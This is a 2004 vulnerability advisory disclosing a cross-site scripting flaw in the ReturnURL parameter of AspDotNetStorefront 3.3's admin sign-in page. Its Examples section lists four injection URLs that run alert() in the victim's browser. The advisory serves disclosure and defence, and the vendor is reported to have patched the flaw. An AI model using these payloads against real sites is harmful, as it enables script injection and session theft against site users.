[FULL DISCLOSURE] ASPDOTNETSTOREFRONT Cross-Site Scripting Vulnerability

2004-06-10T00:00:00
ID SECURITYVULNS:DOC:6326
Type securityvulns
Reporter Securityvulns
Modified 2004-06-10T00:00:00

Description

ASPDOTNETSTOREFRONT Cross-Site Scripting Vulnerability

Release Date: June 9, 2004

Severity: Medium

Vendor: AspDotNetStorefront.com A Division of Discovery Productions, Inc.

Software: Tested on AspDotNetStorefront 3.3
Previous versions may also be affected.

Remote: Remotely executed from any web browser

Technical Details: The malicious user is able to compromise the hidden field ReturnURL to invoke a Cross-Site Scripting attack. This can be used to take advantage of the trust between a client and server allowing the malicious user to execute malicious JavaScript on the clients machine.

Examples:

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style= "background:url(javascript:alert('Vulnerable_To_XSS'))"%20"

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri pt>alert('Vulnerable_To_XSS')</script>

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri pt>alert("Vulnerable_To_XSS")</script>

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img %20src="javascript:alert('Vulnerable_To_XSS')">

Vendor Status: Updates are available for customers to download. Vendor was provided a list of vulnerabilities on June 5th. Application was fixed by June 6th. http://www.aspdotnetstorefront.com

Credit: Discovered By: Thomas Ryan Provide Security

Copyright (c) 2004 Provide Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without the expressed written consent of Provide Security. If you wish to reprint the whole or any part of this advisory in any other medium excluding electronic medium, please email secalert@providesecurity.com for permission.

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